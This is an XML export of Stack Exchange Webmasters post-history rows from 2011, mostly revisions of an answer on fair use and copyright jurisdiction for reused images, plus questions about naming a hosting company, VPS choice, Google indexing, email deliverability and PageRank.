prosecute for copyright infringement under any of the following country's laws:&#xD;&#xA;&#xD;&#xA;1. The country the files are hosted in.&#xD;&#xA;2. The country the user resides in.&#xD;&#xA;3. The country the files were uploaded from.&#xD;&#xA;3. The country that issues the domain extension you're using.&#xD;&#xA;&#xD;&#xA;Any of these may be seen as the place where the copyrighted content was &quot;introduced under the control of the person making the broadcast&quot; (called [&quot;emission theory&quot;](http://www.computerworlduk.com/in-depth/cloud-computing/3252077/the-cloud-copyright-hosting-and-the-law/) in British law, with equivalents worldwide).&#xD;&#xA;&#xD;&#xA;Hosting the files in Russia, uploading them from Sweden, living in Canada, and using a dot com domain, for example, will not necessarily protect you from prosecution in the US. It might make prosecution more complicated than if you hosted, lived, and uploaded from the US, though.&#xD;&#xA;&#xD;&#xA;###What can you do to reduce the chance of prosecution when reusing images?&#xD;&#xA;1. Don't use copyrighted images unless you have to.&#xD;&#xA;2. If you feel you have to use the image, attempt to seek permission from the copyright holder first. The copyright holder is usually the person or company who created the image unless they have transferred their rights.&#xD;&#xA;3. If you can't get permission, be prepared to remove the images if asked (and make your contact details clearly available to make this easy).&#xD;&#xA;4. If you're not prepared to remove images, be certain that you could defend yourself if you were called to answer a copyright infringement claim in court." />
  <row Id="43090" PostHistoryTypeId="2" PostId="17840" RevisionGUID="db526ebd-eb33-40b4-b35b-b34b68a88135" CreationDate="2011-08-05T09:17:07.067" UserId="172" Text="A friend and I have a small web hosting company, and we want to take things to the next level. Part of the deal is to get a new name (the current name was chosen pretty quickly a long time ago, and contains my friends online pseudo), but we're having a hard time to find a good one.&#xD;&#xA;&#xD;&#xA;We can either choose a &quot;descriptive&quot; name, that contains some keywords related to what we do (web, net, hosting, etc...), will help for SEO and may give people an idea of what we do, or we could have a &quot;fancy&quot; name, that sounds good, is catchy and easy to remember, but will not help for SEO or giving clients a clue.&#xD;&#xA;&#xD;&#xA;Both kinds are equally hard to find, because in the first case most of the meaningful/cool names are already take, and in the second case... well... it's hard to come up with a catchy/sexy name ;).&#xD;&#xA;&#xD;&#xA;How do you guys cope with this issue? Do you have any name recommendation for a web hosting company?&#xD;&#xA;&#xD;&#xA;The name would be both the domain name and the (registered) company name." />
  <row Id="43091" PostHistoryTypeId="1" PostId="17840" RevisionGUID="db526ebd-eb33-40b4-b35b-b34b68a88135" CreationDate="2011-08-05T09:17:07.067" UserId="172" Text="How to choose a good website/company name?" />
  <row Id="43092" PostHistoryTypeId="3" PostId="17840" RevisionGUID="db526ebd-eb33-40b4-b35b-b34b68a88135" CreationDate="2011-08-05T09:17:07.067" UserId="172" Text="&lt;domains&gt;&lt;name&gt;&lt;company&gt;" />
  <row Id="43093" PostHistoryTypeId="5" PostId="17839" RevisionGUID="d5b43ba5-cdf9-4846-ae8b-ed56f14c79b9" CreationDate="2011-08-05T09:18:30.700" UserId="7198" Comment="added 44 characters in body" Text="###Does reducing image size or quality alone strengthen a fair use defence?&#xD;&#xA;Probably not. From the [Chilling Effects FAQ:](http://chillingeffects.org/fairuse/faq.cgi#QID827)&#xD;&#xA;&#xD;&#xA;&gt; &quot;It is more likely that a court will find fair use if the defendant's&#xD;&#xA;&gt; use of the image advances a purpose different than the copyright&#xD;&#xA;&gt; holder's, rather than merely superseding the object of the originals.&#xD;&#xA;&gt; For example, the Ninth Circuit found there to be a fair use since the&#xD;&#xA;&gt; displayed [thumbnail] images were not for illustrative artistic&#xD;&#xA;&gt; purposes, but were rather used as part of an image search engine as a&#xD;&#xA;&gt; means to access other images and web sites.&quot;&#xD;&#xA;&#xD;&#xA;Case law suggests that, with images, size is less important than the reason for their reuse. Using a smaller version of the image alone will not necessarily strengthen a fair use defence, but using a smaller image in a more creative way that provides value without damaging the copyright holder may improve a defence.   &#xD;&#xA;&#xD;&#xA;However, from the [same page](http://chillingeffects.org/fairuse/faq.cgi#QID817):&#xD;&#xA;&#xD;&#xA;&gt; &quot;In general, the less of the copyrighted work that is used, the more&#xD;&#xA;&gt; likely the use will be considered fair. If, however, the defendant&#xD;&#xA;&gt; copied nearly all of, or the heart of, the copyrighted work, his or&#xD;&#xA;&gt; her use is less likely to be considered fair.&quot;&#xD;&#xA;&#xD;&#xA;You might argue that using a thumbnail was using 'less' of the copyrighted work, or you could simply crop a portion of the image. Both *may* protect you, but copyright cases are judged individually, and I wouldn't be prepared to rely on using a smaller image as my only defence.&#xD;&#xA;&#xD;&#xA;###Why else might reusing a movie poster be deemed fair use?&#xD;&#xA;One of the factors that the fair use doctrine considers is &quot;the effect of [the] defendant's use on the potential market of the copyrighted work&quot;. From the Chilling Effects FAQ:&#xD;&#xA;&#xD;&#xA;&gt; &quot;This factor considers the effect that the defendant's use has on the&#xD;&#xA;&gt; copyright owner's ability to exploit his or her original work. The&#xD;&#xA;&gt; court may... consider whether harm to a potential market exists. The&#xD;&#xA;&gt; burden of proof here rests on the defendant for commercial uses, but&#xD;&#xA;&gt; on the copyright owner for noncommercial uses.&quot;&#xD;&#xA;&#xD;&#xA;If you're reusing the image for noncommercial purposes, the copyright owner has to prove that your use caused them harm. If you're using the image for commercial purposes, it's up to you to prove that it did no damage. (In the US, at least.)&#xD;&#xA;&#xD;&#xA;One reason that reusing a movie poster may fall under fair use when included in a review or news piece is because it likely causes no harm to the copyright owner. Note that this alone isn't necessarily enough for a watertight fair use defence, but it may strengthen your case if no damage has been done to the copyright holder or their ability to reuse the copyrighted work (e.g. it is not a vicious parody that renders official reuse of the source image unthinkable).&#xD;&#xA;&#xD;&#xA;###Why are those movie posters still online?&#xD;&#xA;We can now surmise as to why the copyrighted posters are still online:&#xD;&#xA;&#xD;&#xA;1. The studios haven't seen them.&#xD;&#xA;2. The studios *have* seen them but doesn't consider their use a violation of copyright.&#xD;&#xA;3. The studios *have* seen them, have issued a takedown notice, and the site owner hasn't responded.&#xD;&#xA;&#xD;&#xA;I consider 1 and 2 most likely in this case.&#xD;&#xA;&#xD;&#xA;###Whose law applies?&#xD;&#xA;A determined company with competent lawyers may attempt to claim jurisdiction to prosecute for copyright infringement under any of the following country's laws:&#xD;&#xA;&#xD;&#xA;1. The country the files are hosted in.&#xD;&#xA;2. The country the user resides in.&#xD;&#xA;3. The country the files were uploaded from.&#xD;&#xA;3. The country that issues the domain extension you're using.&#xD;&#xA;&#xD;&#xA;Any of these are potential legal attack vectors, and 1-3 may be seen as the place where the copyrighted content was &quot;introduced under the control of the person making the broadcast&quot; (called [&quot;emission theory&quot;](http://www.computerworlduk.com/in-depth/cloud-computing/3252077/the-cloud-copyright-hosting-and-the-law/) in British law, with equivalents worldwide).&#xD;&#xA;&#xD;&#xA;Hosting the files in Russia, uploading them from Sweden, living in Canada, and using a dot com domain, for example, will not necessarily protect you from prosecution in the US. It might make prosecution more complicated than if you hosted, lived, and uploaded from the US, though.&#xD;&#xA;&#xD;&#xA;###What can you do to reduce the chance of prosecution when reusing images?&#xD;&#xA;1. Don't use copyrighted images unless you have to.&#xD;&#xA;2. If you feel you have to use the image, attempt to seek permission from the copyright holder first. The copyright holder is usually the person or company who created the image unless they have transferred their rights.&#xD;&#xA;3. If you can't get permission, be prepared to remove the images if asked (and make your contact details clearly available to make this easy).&#xD;&#xA;4. If you're not prepared to remove images, be certain that you could defend yourself if you were called to answer a copyright infringement claim in court." />
  <row Id="43094" PostHistoryTypeId="5" PostId="17839" RevisionGUID="605e9694-cac0-4191-b017-c0cdcef8b5f9" CreationDate="2011-08-05T09:24:04.970" UserId="7198" Comment="typo" Text="###Does reducing image size or quality alone strengthen a fair use defence?&#xD;&#xA;Probably not. From the [Chilling Effects FAQ:](http://chillingeffects.org/fairuse/faq.cgi#QID827)&#xD;&#xA;&#xD;&#xA;&gt; &quot;It is more likely that a court will find fair use if the defendant's&#xD;&#xA;&gt; use of the image advances a purpose different than the copyright&#xD;&#xA;&gt; holder's, rather than merely superseding the object of the originals.&#xD;&#xA;&gt; For example, the Ninth Circuit found there to be a fair use since the&#xD;&#xA;&gt; displayed [thumbnail] images were not for illustrative artistic&#xD;&#xA;&gt; purposes, but were rather used as part of an image search engine as a&#xD;&#xA;&gt; means to access other images and web sites.&quot;&#xD;&#xA;&#xD;&#xA;Case law suggests that, with images, size is less important than the reason for their reuse. Using a smaller version of the image alone will not necessarily strengthen a fair use defence, but using a smaller image in a more creative way that provides value without damaging the copyright holder may improve a defence.   &#xD;&#xA;&#xD;&#xA;However, from the [same page](http://chillingeffects.org/fairuse/faq.cgi#QID817):&#xD;&#xA;&#xD;&#xA;&gt; &quot;In general, the less of the copyrighted work that is used, the more&#xD;&#xA;&gt; likely the use will be considered fair. If, however, the defendant&#xD;&#xA;&gt; copied nearly all of, or the heart of, the copyrighted work, his or&#xD;&#xA;&gt; her use is less likely to be considered fair.&quot;&#xD;&#xA;&#xD;&#xA;You might argue that using a thumbnail was using 'less' of the copyrighted work, or you could simply crop a portion of the image. Both *may* protect you, but copyright cases are judged individually, and I wouldn't be prepared to rely on using a smaller image as my only defence.&#xD;&#xA;&#xD;&#xA;###Why else might reusing a movie poster be deemed fair use?&#xD;&#xA;One of the factors that the fair use doctrine considers is &quot;the effect of [the] defendant's use on the potential market of the copyrighted work&quot;. From the Chilling Effects FAQ:&#xD;&#xA;&#xD;&#xA;&gt; &quot;This factor considers the effect that the defendant's use has on the&#xD;&#xA;&gt; copyright owner's ability to exploit his or her original work. The&#xD;&#xA;&gt; court may... consider whether harm to a potential market exists. The&#xD;&#xA;&gt; burden of proof here rests on the defendant for commercial uses, but&#xD;&#xA;&gt; on the copyright owner for noncommercial uses.&quot;&#xD;&#xA;&#xD;&#xA;If you're reusing the image for noncommercial purposes, the copyright owner has to prove that your use caused them harm. If you're using the image for commercial purposes, it's up to you to prove that it did no damage. (In the US, at least.)&#xD;&#xA;&#xD;&#xA;One reason that reusing a movie poster may fall under fair use when included in a review or news piece is because it likely causes no harm to the copyright owner. Note that this alone isn't necessarily enough for a watertight fair use defence, but it may strengthen your case if no damage has been done to the copyright holder or their ability to reuse the copyrighted work (e.g. it is not a vicious parody that renders official reuse of the source image unthinkable).&#xD;&#xA;&#xD;&#xA;###Why are those movie posters still online?&#xD;&#xA;We can now surmise as to why the copyrighted posters are still online:&#xD;&#xA;&#xD;&#xA;1. The studios haven't seen them.&#xD;&#xA;2. The studios *have* seen them but don't consider their use a violation of copyright.&#xD;&#xA;3. The studios *have* seen them, have issued a takedown notice, and the site owner hasn't responded.&#xD;&#xA;&#xD;&#xA;I consider 1 and 2 most likely in this case.&#xD;&#xA;&#xD;&#xA;###Whose law applies?&#xD;&#xA;A determined company with competent lawyers may attempt to claim jurisdiction to prosecute for copyright infringement under any of the following countries' laws:&#xD;&#xA;&#xD;&#xA;1. The country the files are hosted in.&#xD;&#xA;2. The country the user resides in.&#xD;&#xA;3. The country the files were uploaded from.&#xD;&#xA;3. The country that issues the domain extension you're using.&#xD;&#xA;&#xD;&#xA;Any of these are potential legal attack vectors, and 1-3 may be seen as the place where the copyrighted content was &quot;introduced under the control of the person making the broadcast&quot; (called [&quot;emission theory&quot;](http://www.computerworlduk.com/in-depth/cloud-computing/3252077/the-cloud-copyright-hosting-and-the-law/) in British law, with equivalents worldwide).&#xD;&#xA;&#xD;&#xA;Hosting the files in Russia, uploading them from Sweden, living in Canada, and using a dot com domain, for example, will not necessarily protect you from prosecution in the US. It might make prosecution more complicated than if you hosted, lived, and uploaded from the US, though.&#xD;&#xA;&#xD;&#xA;###What can you do to reduce the chance of prosecution when reusing images?&#xD;&#xA;1. Don't use copyrighted images unless you have to.&#xD;&#xA;2. If you feel you have to use the image, attempt to seek permission from the copyright holder first. The copyright holder is usually the person or company who created the image unless they have transferred their rights.&#xD;&#xA;3. If you can't get permission, be prepared to remove the images if asked (and make your contact details clearly available to make this easy).&#xD;&#xA;4. If you're not prepared to remove images, be certain that you could defend yourself if you were called to answer a copyright infringement claim in court." />
  <row Id="43095" PostHistoryTypeId="25" PostId="17840" RevisionGUID="4f347fa2-2995-4bad-9ab6-0253a4743c24" CreationDate="2011-08-05T09:34:10.617" Comment="http://twitter.com/#!/StackWebmasters/status/99412873092141056" />
  <row Id="43096" PostHistoryTypeId="2" PostId="17841" RevisionGUID="10de6c5f-ea99-4702-a883-015d72942de4" CreationDate="2011-08-05T09:58:29.457" UserId="1643" Text="Why not go for the best of both worlds and have somethinghost or somethinghosting where the something is meaningful and cool. Others have done it: bluehost, hostgator, etc." />
  <row Id="43101" PostHistoryTypeId="25" PostId="17832" RevisionGUID="725d5df9-ab63-442e-8308-615cf072fe5c" CreationDate="2011-08-05T12:34:10.600" Comment="http://twitter.com/#!/StackWebmasters/status/99458172103827456" />
  <row Id="43102" PostHistoryTypeId="2" PostId="17843" RevisionGUID="0857020d-ff59-4ec7-a087-557760a67093" CreationDate="2011-08-05T12:34:25.500" UserId="9408" Text="Do you prefer a form that validates when each element changes or wait till all the form is submitted and validate then or some other process?" />
  <row Id="43103" PostHistoryTypeId="1" PostId="17843" RevisionGUID="0857020d-ff59-4ec7-a087-557760a67093" CreationDate="2011-08-05T12:34:25.500" UserId="9408" Text="Form validation preference" />
  <row Id="43104" PostHistoryTypeId="3" PostId="17843" RevisionGUID="0857020d-ff59-4ec7-a087-557760a67093" CreationDate="2011-08-05T12:34:25.500" UserId="9408" Text="&lt;forms&gt;&lt;validation&gt;" />
  <row Id="43105" PostHistoryTypeId="2" PostId="17844" RevisionGUID="f7622e11-0a22-4507-962c-40f83351e10a" CreationDate="2011-08-05T12:34:53.457" UserId="1953" Text="The easiest way I know would be to compare traffic from referring sites. Set the date range you want to know the new traffic sources, then compare it to the previous year (or however long you have history for if you want to be sure they are new) then you can see which ones have traffic in the current time frame and no traffic in he previous. (To make things easier I believe you can get live data from GA imported directly into Google Docs, setup your sorting/macros and you could have a maintenance free live report)." />
  <row Id="43106" PostHistoryTypeId="10" PostId="17843" RevisionGUID="d6287076-aa90-4bab-b6cc-f7e063e056b8" CreationDate="2011-08-05T13:00:55.980" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43107" PostHistoryTypeId="2" PostId="17845" RevisionGUID="5228fa57-0d2f-46bc-b4df-ce6c12164d71" CreationDate="2011-08-05T13:17:38.800" UserId="9242" Text="I had this problem not to long ago.  I suggest having a few people sit around and brainstorm ideas.  Not all the domains are taken that are &quot;cool&quot;.  A lot of what will make a domain good will be the product you provide.  I managed to get a domain for my hosting company that is easy to remember and has relevant keywords in it.  It didn't come to me in 10 min or anything but I brain stormed and talked it out with some close friends and finally found one I liked.&#xD;&#xA;&#xD;&#xA;I agree that having the word host in the name for a web hosting company is a useful thing but depending on the hosting you have a wealth of keywords to use. VPS, dedicated, cloud, shared and any other synonymous words.&#xD;&#xA;&#xD;&#xA;In summary, get a few people together, brainstorm, and keep checking to see if the domains are registered." />
  <row Id="43108" PostHistoryTypeId="4" PostId="3178" RevisionGUID="22f7cb30-538f-431a-817c-6dee7f8fdfef" CreationDate="2011-08-05T14:50:34.243" UserId="1643" Comment="question" Text="What can you do to speed up IIS 7 web sites?" />
  <row Id="43109" PostHistoryTypeId="4" PostId="3804" RevisionGUID="5527b70b-be8c-4a25-8d8f-098b8e94e8e6" CreationDate="2011-08-05T14:56:47.373" UserId="1643" Comment="Made a question, added a tag." Text="How do I prevent a website being misclassified by websense?" />
  <row Id="43110" PostHistoryTypeId="6" PostId="3804" RevisionGUID="5527b70b-be8c-4a25-8d8f-098b8e94e8e6" CreationDate="2011-08-05T14:56:47.373" UserId="1643" Comment="Made a question, added a tag." Text="&lt;blacklist&gt;" />
  <row Id="43111" PostHistoryTypeId="2" PostId="17846" RevisionGUID="8ae870b0-f4ec-4113-81a3-b3f111c1d3a4" CreationDate="2011-08-05T15:06:52.473" UserId="3312" Text="Accoring to webmasters tools (sitemaps), the number of pages for one of my sites in the Google index has been steadily declining over the last few days.  In the space of a week the number of pages has dropped from over 1000 to just over 400.  Why might this be?  Has anyone else experiences something similar recently?" />
  <row Id="43112" PostHistoryTypeId="1" PostId="17846" RevisionGUID="8ae870b0-f4ec-4113-81a3-b3f111c1d3a4" CreationDate="2011-08-05T15:06:52.473" UserId="3312" Text="Number of pages in Google web index falling?" />
  <row Id="43113" PostHistoryTypeId="3" PostId="17846" RevisionGUID="8ae870b0-f4ec-4113-81a3-b3f111c1d3a4" CreationDate="2011-08-05T15:06:52.473" UserId="3312" Text="&lt;google&gt;" />
  <row Id="43114" PostHistoryTypeId="2" PostId="17847" RevisionGUID="36b271d5-ffbc-4858-9efa-7c11d49e735d" CreationDate="2011-08-05T15:14:39.020" UserId="6033" Text="I had the same thing happen to a site that was hit by Panda. The number of reported indexed pages went down to almost zero, but the pages were actually still in the search index. I made incremental improvements to the crawl-ability of the site, and after a few months, the number of reported pages went back up to original levels. There was no way to tell if the improvements affected that number, but overall traffic has improved." />
  <row Id="43115" PostHistoryTypeId="5" PostId="17846" RevisionGUID="9f57459d-7ebf-4593-9c8e-3e2fe88871cb" CreationDate="2011-08-05T15:21:25.737" UserId="3312" Comment="edited body" Text="Accoring to webmasters tools (sitemaps), the number of pages for one of my sites in the Google index has been steadily declining over the last few days.  In the space of a week the number of pages has dropped from over 1000 to just over 400.  Why might this be?  Has anyone else experienced something similar recently?" />
  <row Id="43116" PostHistoryTypeId="25" PostId="17846" RevisionGUID="7d1937d8-b210-45a2-a3a7-42e991ba92c6" CreationDate="2011-08-05T15:34:10.727" Comment="http://twitter.com/#!/StackWebmasters/status/99503470553477120" />
  <row Id="43117" PostHistoryTypeId="17" PostId="17848" RevisionGUID="b36d73ef-9324-4a53-a1bc-ea2fd8b58ea5" CreationDate="2011-08-05T15:56:29.807" UserId="-1" Comment="from http://stackoverflow.com/questions/6955686/a-good-vps-to-grow-into-cheap-at-start-multiple-sites-php-and-python-easily-c" Text="" />
  <row Id="43118" PostHistoryTypeId="2" PostId="17848" RevisionGUID="12f5043d-be56-469c-bcae-c639f700b2ae" CreationDate="2011-08-05T11:43:04.200" UserId="9411" UserDisplayName="aitchnyu" Text="We develop and host for many clients. I am choosing an upgrade over shared hosts, preferably a VPS. The new site should be able to deploy PHP for multiple sites. It should also support a localhost python web process (no Django/frameworks involded) (I described the details in http://stackoverflow.com/questions/6939561/most-easy-reliable-cheap-way-to-deploy-this-python-workhorse-app-with-a-php-f ).&#xD;&#xA;&#xD;&#xA;We expect ~1000 hits a day combined (and very modest spikes expected) and consequent bandwidth use of 20gb per month. &#xD;&#xA;&#xD;&#xA;So, I ask for:&#xD;&#xA;&#xD;&#xA; - latest versions of PHP, Python on a popular distro, accessible via shell&#xD;&#xA; - fair pricing at this traffic level (~10$ per month)&#xD;&#xA; - fair pricing for scaling up and good upgrade/scale options&#xD;&#xA; - GUI config for multiple sites/ server features&#xD;&#xA; - sync via SSH even over an obscure network architecture (I am told we have no &quot;public IPs&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;As a hypothetical question, which provider could help me set up a GIT/Mercurial+TRAC server the most easily? (I know there are things like Bitbucket but this seems a hypothetical challenge that corelates well)&#xD;&#xA;&#xD;&#xA;I heard good things about WebFaction and Pyrox. How will they suit my above requirements? I dont want to steer the conversation prematurely." />
  <row Id="43119" PostHistoryTypeId="1" PostId="17848" RevisionGUID="12f5043d-be56-469c-bcae-c639f700b2ae" CreationDate="2011-08-05T11:43:04.200" UserId="9411" UserDisplayName="aitchnyu" Text="a good VPS to grow into (cheap at start, multiple sites, php and python, easily custom-configurable)" />
  <row Id="43120" PostHistoryTypeId="3" PostId="17848" RevisionGUID="12f5043d-be56-469c-bcae-c639f700b2ae" CreationDate="2011-08-05T11:43:04.200" UserId="9411" UserDisplayName="aitchnyu" Text="&lt;python&gt;&lt;hosting&gt;&lt;virtualhost&gt;&lt;vps&gt;" />
  <row Id="43122" PostHistoryTypeId="6" PostId="17848" RevisionGUID="5adf8aeb-3716-4f1b-af74-1569a5bfba1f" CreationDate="2011-08-05T16:17:52.703" UserId="1253" Comment="modified tags" Text="&lt;looking-for-hosting&gt;&lt;vps&gt;&lt;virtualhost&gt;&lt;python&gt;" />
  <row Id="43123" PostHistoryTypeId="5" PostId="17847" RevisionGUID="811d027f-dde1-4ae0-b109-7f168a267682" CreationDate="2011-08-05T16:20:37.453" UserId="6033" Comment="added 221 characters in body" Text="I had the same thing happen to a site that was hit by Panda. About a month after the initial traffic drop, the number of reported indexed pages went down to almost zero, but the pages were actually still in the search index. I made incremental improvements to the crawl-ability of the site, and after a few months, the number of reported pages went back up to original levels. There was no way to tell if the improvements affected that number, but overall traffic has improved.&#xD;&#xA;&#xD;&#xA;**Edit:** &#xD;&#xA;The main improvements I made:&#xD;&#xA;&#xD;&#xA; - Redirected poor quality pages to newer better relevant pages&#xD;&#xA; - Fixed broken links&#xD;&#xA; - Removed the links to the poor quality pages from the higher quality&#xD;&#xA;   pages&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43124" PostHistoryTypeId="2" PostId="17849" RevisionGUID="c2670698-4e2c-4cc2-8577-b272ffe8784e" CreationDate="2011-08-05T16:30:23.240" UserId="6033" Text="**High Level answer:**&#xD;&#xA;&#xD;&#xA;You'll build a program that runs on the server to generate the matches and keep track of the outcomes. The html page will then change dynamically at load time based on the program running in the background that's keeping track of the matches. You can store all of the information in a MySQL database. The PHP program will execute the logic and ferry the information from the database to the end-user. You can accomplish this using PHP/MySQL.&#xD;&#xA;&#xD;&#xA;Start down the path, then ask specific programming questions as stackoverflow.com as paulmorriss suggests." />
  <row Id="43126" PostHistoryTypeId="2" PostId="17851" RevisionGUID="4225c2a8-87fa-41d1-9956-46c68390dbc2" CreationDate="2011-08-05T16:53:13.983" UserId="8557" Text="I read on some blog (I don't remember the URL) that having abuse@mydomain.com and postmaster@mydomian.com in addition to main email help to prevent our mails from being categorized as spam. Is it true? Is it worthy to create two additional email accounts. On my hosting, only 5 are allowed. Please suggest." />
  <row Id="43127" PostHistoryTypeId="1" PostId="17851" RevisionGUID="4225c2a8-87fa-41d1-9956-46c68390dbc2" CreationDate="2011-08-05T16:53:13.983" UserId="8557" Text="Does having Abuse and Postmaster Emails help to stop being treated as SPAM?" />
  <row Id="43128" PostHistoryTypeId="3" PostId="17851" RevisionGUID="4225c2a8-87fa-41d1-9956-46c68390dbc2" CreationDate="2011-08-05T16:53:13.983" UserId="8557" Text="&lt;domains&gt;&lt;email&gt;" />
  <row Id="43129" PostHistoryTypeId="2" PostId="17852" RevisionGUID="c76cabbe-9156-45ab-8b5a-d12574da1bad" CreationDate="2011-08-05T17:30:35.013" UserId="9369" Text="It would appear so.  After a quick search I turned up a few links that described why it is important to have.&#xD;&#xA;&#xD;&#xA;http://www.activewebhosting.com/faq/email-postmaster.html&#xD;&#xA;&#xD;&#xA;http://forums.macresource.com/read.php?1,132477,132509" />
  <row Id="43130" PostHistoryTypeId="2" PostId="17853" RevisionGUID="850ae1b4-b45c-4de8-93e2-72620b01cb16" CreationDate="2011-08-05T17:34:49.630" UserId="8661" Text="I am currently building a Sharepoint system for my employer and he asked if there were any 3rd party social plugins that could be installed that gave users a profile, content, and commenting abilities without upgrading to Sharepoint Standard for +$10,000?&#xD;&#xA;&#xD;&#xA;I haven't found anything yet. SocialCast seemed to be able to integrate with Sharepoint but doesn't appear to cut it.&#xD;&#xA;&#xD;&#xA;Has anyone done this before? I am not needing a free system, just cheaper than the Sharepoint upgrade. &#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="43131" PostHistoryTypeId="1" PostId="17853" RevisionGUID="850ae1b4-b45c-4de8-93e2-72620b01cb16" CreationDate="2011-08-05T17:34:49.630" UserId="8661" Text="Social plugins for Sharepoint foundations?" />
  <row Id="43132" PostHistoryTypeId="3" PostId="17853" RevisionGUID="850ae1b4-b45c-4de8-93e2-72620b01cb16" CreationDate="2011-08-05T17:34:49.630" UserId="8661" Text="&lt;social-media&gt;&lt;social-networks&gt;&lt;sharepoint&gt;" />
  <row Id="43133" PostHistoryTypeId="2" PostId="17854" RevisionGUID="f02766fe-dd18-4d91-ac17-c49e350be3e7" CreationDate="2011-08-05T17:37:46.770" UserId="9369" Text="You might want to check out [SliceHost][1] or [Linode][2].&#xD;&#xA;&#xD;&#xA;Neither though offers plans around what you are looking at ($10/mth).  But then again I wouldn't pay less than $20/mth for a decent VPS.  Less than that and you probably aren't getting the best service.&#xD;&#xA;&#xD;&#xA;Both have great tools available on their control panels, good customer service, good uptime and reasonable pricing.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.slicehost.com/&#xD;&#xA;  [2]: http://www.linode.com/" />
  <row Id="43134" PostHistoryTypeId="16" PostId="17840" RevisionGUID="0330ce14-9dad-4230-8205-8d42fd355f2d" CreationDate="2011-08-05T18:09:08.600" UserId="108" />
  <row Id="43135" PostHistoryTypeId="16" PostId="17841" RevisionGUID="438cc8bd-5b86-4fef-b88a-62a5e4a1ff33" CreationDate="2011-08-05T18:09:08.600" UserId="108" />
  <row Id="43136" PostHistoryTypeId="16" PostId="17845" RevisionGUID="164e6eb7-43a0-4ba5-8c7a-f0a24f27eef9" CreationDate="2011-08-05T18:09:08.600" UserId="108" />
  <row Id="43139" PostHistoryTypeId="2" PostId="17855" RevisionGUID="e273271e-7f89-470f-8706-a4a7ea5f9763" CreationDate="2011-08-05T18:31:59.970" UserId="5806" Text="**The address bar simply shows the domain its it.** If you want it to show something else you have to redirect the browser to where you want it to be.&#xD;&#xA;&#xD;&#xA;Since you added a domain, you have to specify where that domain is. Your example is slightly misleading since I only see one domain name. Say you have: *maindomain.com*&#xD;&#xA;and you added *secondary_domain.com*&#xD;&#xA;&#xD;&#xA;**Then you need to point secondary_domain.com to maindomain.com/secondary_domain**&#xD;&#xA;&#xD;&#xA;Your hosting provider determines how to control this. Usually there is some kind of &#xD;&#xA;control panel, the most popular one being cPanel. In it there is an option called&#xD;&#xA;**Add-On domains** where you specify a domain name and the folder where it is located.&#xD;&#xA;&#xD;&#xA;This will make your domains accessible through both paths: secondary_domain.com AND maindomain.com/secondary_domain.&#xD;&#xA;&#xD;&#xA;In order to help search engines recognize this is the same domain and not duplicate content you should setup, also through the control panel (or using .htaccess if using Apache), a permanent (301) redirect from maindomain.com/secondary_domain to secondary_domain.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43140" PostHistoryTypeId="25" PostId="17851" RevisionGUID="f43dc6a1-7479-40fc-9c11-17d538a80d12" CreationDate="2011-08-05T18:34:11.077" Comment="http://twitter.com/#!/StackWebmasters/status/99548769451900928" />
  <row Id="43141" PostHistoryTypeId="5" PostId="17853" RevisionGUID="06510616-f91a-4c84-92f1-69fd26d25563" CreationDate="2011-08-05T18:38:09.183" UserId="8661" Comment="added 10 characters in body" Text="I am currently building a `Sharepoint` system for my employer and he asked if there were any 3rd party social plugins that could be installed that gave users a profile, content, and commenting abilities without upgrading to `Sharepoint Standard` for `+$10,000`?&#xD;&#xA;&#xD;&#xA;I haven't found anything yet. `SocialCast` seemed to be able to integrate with `Sharepoint` but doesn't appear to cut it.&#xD;&#xA;&#xD;&#xA;Has anyone done this before? I am not needing a free system, just cheaper than the Sharepoint upgrade. &#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="43142" PostHistoryTypeId="17" PostId="17856" RevisionGUID="6a7c440e-0c34-40f5-b1bb-5375282276e2" CreationDate="2011-08-05T18:46:56.457" UserId="-1" Comment="from http://stackoverflow.com/questions/6961051/my-old-domain-is-getting-more-pr-while-new-is-at-pr-0-please-help-me-understand" Text="" />
  <row Id="43143" PostHistoryTypeId="17" PostId="17857" RevisionGUID="9c40d5c8-e715-424a-b770-36ca300cf2c7" CreationDate="2011-08-05T18:46:56.457" UserId="-1" Comment="from http://stackoverflow.com/questions/6961051/my-old-domain-is-getting-more-pr-while-new-is-at-pr-0-please-help-me-understand" Text="" />
  <row Id="43144" PostHistoryTypeId="17" PostId="17858" RevisionGUID="60f99a36-d147-4409-bf43-ca10694c8b1b" CreationDate="2011-08-05T18:46:56.457" UserId="-1" Comment="from http://stackoverflow.com/questions/6961051/my-old-domain-is-getting-more-pr-while-new-is-at-pr-0-please-help-me-understand" Text="" />
  <row Id="43145" PostHistoryTypeId="2" PostId="17857" RevisionGUID="fa96c5c2-2a2c-4f67-8bc0-1888a32eb4fb" CreationDate="2011-08-05T18:42:25.877" UserDisplayName="AlienWebguy" Text="Nobody outside of Google can explain why or how Google does what they do. SEO &quot;experts&quot; can only speculate. Google has sealed up their trade secrets in a bullet-proof vault of legalese which is why they are the most successful search engine on the planet. &#xD;&#xA;&#xD;&#xA;I would suggest to read up on Google Panda as it is their latest algorithm roll-out and has affected millions of websites in their index." />
  <row Id="43146" PostHistoryTypeId="2" PostId="17858" RevisionGUID="ede7e687-9b39-4c47-ba1d-17430bb862ac" CreationDate="2011-08-05T18:45:47.970" UserId="1253" Text="1. The PageRank you see in your toolbar or other tool is stale information. While PageRank is updated regularly at Google they only update the toolbar PageRank periodically. This number is probably obsolete by the time the toolbar is updated so it can not be used to accurate find a page's true PageRank.&#xD;&#xA;&#xD;&#xA;2. PageRank is **per page**, not **per website**. So your website never had a PageRank of 1. Your website's *home page* had a PageRank of 1.&#xD;&#xA;&#xD;&#xA;3. If you didn't do 301 redirects from the old URLs to the new URLs then you are starting over in Google's eyes. Any PageRank you had for your previous pages is not &quot;transferred&quot; to their new URLs unless you do a 301 redirect. This tells Google that the page has moved and to update their rankings and &quot;transfer&quot; the PageRank to the new page. Some PageRank is lost but it is a nominal amount." />
